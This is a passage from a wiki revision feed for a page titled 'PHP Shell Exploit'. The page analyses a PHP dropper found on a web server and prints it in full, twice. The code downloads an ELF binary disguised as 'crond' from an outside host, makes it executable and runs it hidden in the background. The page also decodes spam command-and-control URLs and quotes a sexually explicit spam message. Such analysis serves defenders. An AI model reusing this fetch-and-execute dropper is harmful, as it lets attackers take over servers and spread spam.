			return FALSE;&lt;br /&gt;
		} else {&lt;br /&gt;
			return &#039;/tmp/&#039;.$exploitFilename;&lt;br /&gt;
		}&lt;br /&gt;
	} else {&lt;br /&gt;
		return .&#039;/&#039;.$exploitFilename;&lt;br /&gt;
	}&lt;br /&gt;
	return FALSE;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$key=&amp;quot;1)#&#039;ps3!U P|m[A\tyr4j6?F\nZ^C98Nng\$\\%{}wY:_Vx`e7LcGWoO\rhK&amp;gt;a;q0HD.&amp;amp;QRz~@,TM-l(5JSitk/]2bu=d\&amp;quot;I&amp;lt;BEXfv*+&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
$crondElf32 =&#039;http://pages.touchpadz.com/crond32&#039;;&lt;br /&gt;
$crondElf64 =&#039;http://pages.touchpadz.com/crond64&#039;;&lt;br /&gt;
$xdvsnExploitEnv = &#039;XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8&#039;;&lt;br /&gt;
$systemType = php_uname(&#039;s&#039;);&lt;br /&gt;
$xpsvt57 = php_uname(&#039;m&#039;);&lt;br /&gt;
&lt;br /&gt;
echo &#039;&amp;lt;shchzzz&amp;gt;&#039;;&lt;br /&gt;
for (;;) {&lt;br /&gt;
	if (!function_exists(&#039;shell_exec&#039;)) {&lt;br /&gt;
		echo &#039;&amp;lt;err step=1 err=noshex data=&amp;gt;&#039;;&lt;br /&gt;
		break;&lt;br /&gt;
	}&lt;br /&gt;
	if ($systemType !== &#039;Linux&#039;) {&lt;br /&gt;
		echo &#039;&amp;lt;err step=2 err=nolinux data=&#039;.$hafev1.&#039;&amp;gt;&#039;;&lt;br /&gt;
		break;&lt;br /&gt;
	}&lt;br /&gt;
	$targetFilename = &#039;crond&#039;;&lt;br /&gt;
	$exploitUrl = &amp;quot;&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
	if (strlen(decbin(~0)) == 64) {&lt;br /&gt;
		echo &#039;&amp;lt;inf step=3 data=x64&amp;gt;&#039;;&lt;br /&gt;
		$exploitUrl = $crondElf64;&lt;br /&gt;
	} else {&lt;br /&gt;
		echo &#039;&amp;lt;inf step=3 data=x32&amp;gt;&#039;;&lt;br /&gt;
		$exploitUrl = $crondElf32;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	$exploitFilename = &amp;quot;&amp;quot;;&lt;br /&gt;
	if (!file_exists($targetFilename)) {&lt;br /&gt;
		$exploitFilename = saveUrlToFile($key, $exploitUrl, $targetFilename);&lt;br /&gt;
&lt;br /&gt;
		if ( $exploitFilename == FALSE) {&lt;br /&gt;
			echo &#039;&amp;lt;err step=4 err=downl data=&amp;gt;&#039;;&lt;br /&gt;
			break;&lt;br /&gt;
		} else {&lt;br /&gt;
			echo &#039;&amp;lt;inf step=4 data=downok&amp;gt;&#039;;&lt;br /&gt;
		}&lt;br /&gt;
	} else {&lt;br /&gt;
		echo &#039;&amp;lt;inf step=4 data=exists&amp;gt;&#039;;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	chmod($exploitFilename, 0755);&lt;br /&gt;
&lt;br /&gt;
	$exploitCmd = $xdvsnExploitEnv.&#039; ./&#039;.$exploitFilename.&#039; &amp;gt;/dev/null 2&amp;gt;/dev/null &amp;amp;&#039;;&lt;br /&gt;
	$exploitResult = shell_exec($exploitCmd);&lt;br /&gt;
&lt;br /&gt;
	echo &#039;&amp;lt;inf step=5 data=done data2=&#039;.$exploitResult.&#039;&amp;gt;&#039;;&lt;br /&gt;
	sleep(1);&lt;br /&gt;
&lt;br /&gt;
	unlink($exploitFilename);&lt;br /&gt;
&lt;br /&gt;
	break;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
echo &#039;&amp;lt;/shchzzz&amp;gt;&#039;;&lt;br /&gt;
exit();&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function getPasteFileContents($key, $url) {&lt;br /&gt;
	$hackFileContents = &amp;quot;&amp;quot;;&lt;br /&gt;
	$fp = @fopen($url, &#039;rb&#039;);&lt;br /&gt;
&lt;br /&gt;
	if ($fp == FALSE) {&lt;br /&gt;
		if (!function_exists(&#039;curl_init&#039;))&lt;br /&gt;
			return FALSE;&lt;br /&gt;
			&lt;br /&gt;
		$curl = @curl_init();&lt;br /&gt;
		@curl_setopt($curl, CURLOPT_URL, $url);&lt;br /&gt;
		@curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);&lt;br /&gt;
		$hackFileContents = @curl_exec($curl);&lt;br /&gt;
		@curl_close($curl);&lt;br /&gt;
	} else {&lt;br /&gt;
		while(!feof($fp))&lt;br /&gt;
			$hackFileContents.= fread($fp, 1024 * 64);&lt;br /&gt;
		fclose($fp);&lt;br /&gt;
	}&lt;br /&gt;
    return $hackFileContents;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function saveContentsToFile($key, $hackFilename, $hackFileContents) {&lt;br /&gt;
	$fp = fopen($hackFilename, &#039;wb+&#039;);&lt;br /&gt;
&lt;br /&gt;
	if ($fp == FALSE) {&lt;br /&gt;
		if (!function_exists(&#039;file_put_contents&#039;)) return FALSE;&lt;br /&gt;
		if ( @file_put_contents($hackFilename, $hackFileContents) === FALSE ) return FALSE;&lt;br /&gt;
	} else {&lt;br /&gt;
		$blbem39 = fwrite($fp, $hackFileContents, strlen($hackFileContents));&lt;br /&gt;
		fclose($fp);&lt;br /&gt;
		if ($blbem39 == FALSE || $blbem39 != strlen($hackFileContents)) return FALSE;&lt;br /&gt;
	}&lt;br /&gt;
	return TRUE;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function saveUrlToFile($key, $url, $exploitFilename) {&lt;br /&gt;
	$hackFileContents = getPasteFileContents($key, $url);&lt;br /&gt;
&lt;br /&gt;
	if ($hackFileContents == FALSE) return FALSE;&lt;br /&gt;
	&lt;br /&gt;
	if (saveContentsToFile($key, .&#039;/&#039;.$exploitFilename, $hackFileContents) == FALSE) {&lt;br /&gt;
		if (saveContentsToFile($key, &#039;/tmp/&#039;.$exploitFilename, $hackFileContents) == FALSE) {&lt;br /&gt;
			return FALSE;&lt;br /&gt;
		} else {&lt;br /&gt;
			return &#039;/tmp/&#039;.$exploitFilename;&lt;br /&gt;
		}&lt;br /&gt;
	} else {&lt;br /&gt;
		return .&#039;/&#039;.$exploitFilename;&lt;br /&gt;
	}&lt;br /&gt;
	return FALSE;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The attacker will see the following outputs:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;shchzzz&amp;gt;&lt;br /&gt;
&amp;lt;inf step=3 data=x64&amp;gt;&lt;br /&gt;
&amp;lt;inf step=4 data=downok&amp;gt;&lt;br /&gt;
&amp;lt;inf step=5 data=done data2=XXX&amp;gt;&lt;br /&gt;
&amp;lt;/shchzzz&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
where XXX is the return code of the shell exec which attempts to run:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8 ./tmp/crond &amp;gt;/dev/null 2&amp;gt;/dev/null &amp;amp;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;XDVSN_SESSION_COOKIE&amp;lt;/code&amp;gt; environment variable contains data encoded with their base64+xor function that contains the server and session IDs to use when communicating with the server. If this environment variable is missing, the program will terminate immediately.&lt;br /&gt;
&lt;br /&gt;
The decoded value of the environment variable:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;ps&amp;gt;10&amp;lt;/ps&amp;gt;&amp;lt;urh&amp;gt;&amp;lt;/urh&amp;gt;&amp;lt;urp&amp;gt;&amp;lt;/urp&amp;gt;&amp;lt;lt&amp;gt;500&amp;lt;/lt&amp;gt;&amp;lt;lc&amp;gt;100&amp;lt;/lc&amp;gt;&amp;lt;bs&amp;gt;20&amp;lt;/bs&amp;gt;&amp;lt;lu&amp;gt;http://sk.touchpadz.com/&amp;lt;/lu&amp;gt;&amp;lt;bu&amp;gt;http://bat.touchpadz.com/aa2.php&amp;lt;/bu&amp;gt;&amp;lt;su&amp;gt;http://stat.touchpadz.com/gj13.php&amp;lt;/su&amp;gt;&amp;lt;ldb&amp;gt;wb_001&amp;lt;/ldb&amp;gt;&amp;lt;kk&amp;gt;38b104796d9d02a8,5f19dd761b1ae067,182d9be35a58b5e,761257c7ae43552,1c691b2c387735ec,1a75779015fcde28,c5d6105468cd740,488810955cf90d0c,62c800293882f80f,1e6bff6b444e1b0d,63d257290658b998,2b00ef0f4a4f197d,f12c54e1957cd43,5365385a1a570922,4818e6565aba7eba,9d655855688d574,317620b4425d6470,16d58c031dde7a1,5f925640005cf66b,57362ca225acae0f,6bd7afc11d5420dd,7e39dddb0914d741,374032b557c1670f,5a5578712156b2b2,42ee16dd1d1f6b25,79b39ab87e732619,39cab5d02b66c9fa,695693fe330e805f,7d0e38ce30b3de2c,70bf755429b05946,78b559b14a13f306,63b8768e636fd96d,442bf7c122970484,68a9c97f62ec282d,7e4216bd24e354b3,48ce08564e85ad17,2a272aed717384df,5718c84f1c0728db,1a0b91e36d971d16,5bf70935377de764,2ae2b45809ae550d,14520f18175d3cba,6a3e24f715ed4c45,e2a92e80d130642,5c001f680c0e55ae,11b5a572ac847f8,42ed425f66a0cef2,4772e82748e7bebc,669b8fae6ef65ec8,70c9170722074810,c0c658a01de8eda,3a74ccd14a330cf8,5d98d57c5ce8318b,100d0dfa4910e1f7,736386400b035095,69fad7f5d37b1e4,73806131716d54da,40de30093b2401ca,38f1d4c10cc729c2,6786c7c141a4c6a6,28ee1f9b295d4fc1,2d1f5ec46686eea6,249e4a86142ef7d8,1791d1e8666c2414,45b5133a7301aa3c&amp;lt;/kk&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
There are three URLs that the program will fetch data from.&lt;br /&gt;
# lu: http://sk.touchpadz.com/ + /img/logo.gif?sessd=&#039;&#039;&#039;$ldb&#039;&#039;&#039;&amp;amp;sessc=&#039;&#039;&#039;$lc&#039;&#039;&#039;&amp;amp;sessk=&#039;&#039;&#039;$kk&#039;&#039;&#039;&lt;br /&gt;
# bu: http://bat.touchpadz.com/aa2.php&lt;br /&gt;
# su: http://stat.touchpadz.com/gj13.php&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;lu&amp;lt;/code&amp;gt; URL will contain 3 parameters that are provided through the environment variable. The data returned from this source is encoded in an unknown format.&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;bu&amp;lt;/code&amp;gt; URL will return the spam message payload, encoded with the base64+xor encoder.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;USER&amp;gt;lula_burton&amp;lt;/USER&amp;gt;&lt;br /&gt;
&amp;lt;NAME&amp;gt;&amp;quot;Lula Burton&amp;quot;&amp;lt;/NAME&amp;gt;&lt;br /&gt;
&amp;lt;SUBJ&amp;gt;Fw:  Hairy pussy girl undress panties&amp;lt;/SUBJ&amp;gt;&lt;br /&gt;
&amp;lt;SBODY&amp;gt;&lt;br /&gt;
&amp;lt;div&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;&amp;lt;a href=&amp;quot;http://www.appgott.com/wp-content/plugins/better-wp-security/modules/free/backup/js/help.php?%MAIL_EN%&amp;quot;&amp;gt;Hairy pussy girl undress panties&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
combat,  why  none of us would be here. Thanks guys. Mission  complete&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/SBODY&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;su&amp;lt;/code&amp;gt; URL will return the exploit URL that contains the PHP spammer.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
http://resiliententrepreneur.com/wp-content/cache/supercache/resiliententrepreneur.com/ajaxfilemanager/file.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=PHP_Shell_Exploit&amp;diff=1162</id>
		<title>PHP Shell Exploit</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=PHP_Shell_Exploit&amp;diff=1162"/>
		<updated>2015-05-05T06:04:49Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$key=&amp;quot;1)#&#039;ps3!U P|m[A\tyr4j6?F\nZ^C98Nng\$\\%{}wY:_Vx`e7LcGWoO\rhK&amp;gt;a;q0HD.&amp;amp;QRz~@,TM-l(5JSitk/]2bu=d\&amp;quot;I&amp;lt;BEXfv*+&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
$crondElf32 =&#039;http://pages.touchpadz.com/crond32&#039;;&lt;br /&gt;
$crondElf64 =&#039;http://pages.touchpadz.com/crond64&#039;;&lt;br /&gt;
$xdvsnExploitEnv = &#039;XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8&#039;;&lt;br /&gt;
$systemType = php_uname(&#039;s&#039;);&lt;br /&gt;
$xpsvt57 = php_uname(&#039;m&#039;);&lt;br /&gt;
&lt;br /&gt;
echo &#039;&amp;lt;shchzzz&amp;gt;&#039;;&lt;br /&gt;
for (;;) {&lt;br /&gt;
	if (!function_exists(&#039;shell_exec&#039;)) {&lt;br /&gt;
		echo &#039;&amp;lt;err step=1 err=noshex data=&amp;gt;&#039;;&lt;br /&gt;
		break;&lt;br /&gt;
	}&lt;br /&gt;
	if ($systemType !== &#039;Linux&#039;) {&lt;br /&gt;
		echo &#039;&amp;lt;err step=2 err=nolinux data=&#039;.$hafev1.&#039;&amp;gt;&#039;;&lt;br /&gt;
		break;&lt;br /&gt;
	}&lt;br /&gt;
	$targetFilename = &#039;crond&#039;;&lt;br /&gt;
	$exploitUrl = &amp;quot;&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
	if (strlen(decbin(~0)) == 64) {&lt;br /&gt;
		echo &#039;&amp;lt;inf step=3 data=x64&amp;gt;&#039;;&lt;br /&gt;
		$exploitUrl = $crondElf64;&lt;br /&gt;
	} else {&lt;br /&gt;
		echo &#039;&amp;lt;inf step=3 data=x32&amp;gt;&#039;;&lt;br /&gt;
		$exploitUrl = $crondElf32;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	$exploitFilename = &amp;quot;&amp;quot;;&lt;br /&gt;
	if (!file_exists($targetFilename)) {&lt;br /&gt;
		$exploitFilename = saveUrlToFile($key, $exploitUrl, $targetFilename);&lt;br /&gt;
&lt;br /&gt;
		if ( $exploitFilename == FALSE) {&lt;br /&gt;
			echo &#039;&amp;lt;err step=4 err=downl data=&amp;gt;&#039;;&lt;br /&gt;
			break;&lt;br /&gt;
		} else {&lt;br /&gt;
			echo &#039;&amp;lt;inf step=4 data=downok&amp;gt;&#039;;&lt;br /&gt;
		}&lt;br /&gt;
	} else {&lt;br /&gt;
		echo &#039;&amp;lt;inf step=4 data=exists&amp;gt;&#039;;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	chmod($exploitFilename, 0755);&lt;br /&gt;
&lt;br /&gt;
	$exploitCmd = $xdvsnExploitEnv.&#039; ./&#039;.$exploitFilename.&#039; &amp;gt;/dev/null 2&amp;gt;/dev/null &amp;amp;&#039;;&lt;br /&gt;
	$exploitResult = shell_exec($exploitCmd);&lt;br /&gt;
&lt;br /&gt;
	echo &#039;&amp;lt;inf step=5 data=done data2=&#039;.$exploitResult.&#039;&amp;gt;&#039;;&lt;br /&gt;
	sleep(1);&lt;br /&gt;
&lt;br /&gt;
	unlink($exploitFilename);&lt;br /&gt;
&lt;br /&gt;
	break;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
echo &#039;&amp;lt;/shchzzz&amp;gt;&#039;;&lt;br /&gt;
exit();&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function getPasteFileContents($key, $url) {&lt;br /&gt;
	$hackFileContents = &amp;quot;&amp;quot;;&lt;br /&gt;
	$fp = @fopen($url, &#039;rb&#039;);&lt;br /&gt;
&lt;br /&gt;
	if ($fp == FALSE) {&lt;br /&gt;
		if (!function_exists(&#039;curl_init&#039;))&lt;br /&gt;
			return FALSE;&lt;br /&gt;
			&lt;br /&gt;
		$curl = @curl_init();&lt;br /&gt;
		@curl_setopt($curl, CURLOPT_URL, $url);&lt;br /&gt;
		@curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);&lt;br /&gt;
		$hackFileContents = @curl_exec($curl);&lt;br /&gt;
		@curl_close($curl);&lt;br /&gt;
	} else {&lt;br /&gt;
		while(!feof($fp))&lt;br /&gt;
			$hackFileContents.= fread($fp, 1024 * 64);&lt;br /&gt;
		fclose($fp);&lt;br /&gt;
	}&lt;br /&gt;
    return $hackFileContents;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function saveContentsToFile($key, $hackFilename, $hackFileContents) {&lt;br /&gt;
	$fp = fopen($hackFilename, &#039;wb+&#039;);&lt;br /&gt;
&lt;br /&gt;
	if ($fp == FALSE) {&lt;br /&gt;
		if (!function_exists(&#039;file_put_contents&#039;)) return FALSE;&lt;br /&gt;
		if ( @file_put_contents($hackFilename, $hackFileContents) === FALSE ) return FALSE;&lt;br /&gt;
	} else {&lt;br /&gt;
		$blbem39 = fwrite($fp, $hackFileContents, strlen($hackFileContents));&lt;br /&gt;
		fclose($fp);&lt;br /&gt;
		if ($blbem39 == FALSE || $blbem39 != strlen($hackFileContents)) return FALSE;&lt;br /&gt;
	}&lt;br /&gt;
	return TRUE;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function saveUrlToFile($key, $url, $exploitFilename) {&lt;br /&gt;
	$hackFileContents = getPasteFileContents($key, $url);&lt;br /&gt;
&lt;br /&gt;
	if ($hackFileContents == FALSE) return FALSE;&lt;br /&gt;
	&lt;br /&gt;
	if (saveContentsToFile($key, .&#039;/&#039;.$exploitFilename, $hackFileContents) == FALSE) {&lt;br /&gt;
		if (saveContentsToFile($key, &#039;/tmp/&#039;.$exploitFilename, $hackFileContents) == FALSE) {&lt;br /&gt;
			return FALSE;&lt;br /&gt;
		} else {&lt;br /&gt;
			return &#039;/tmp/&#039;.$exploitFilename;&lt;br /&gt;
		}&lt;br /&gt;
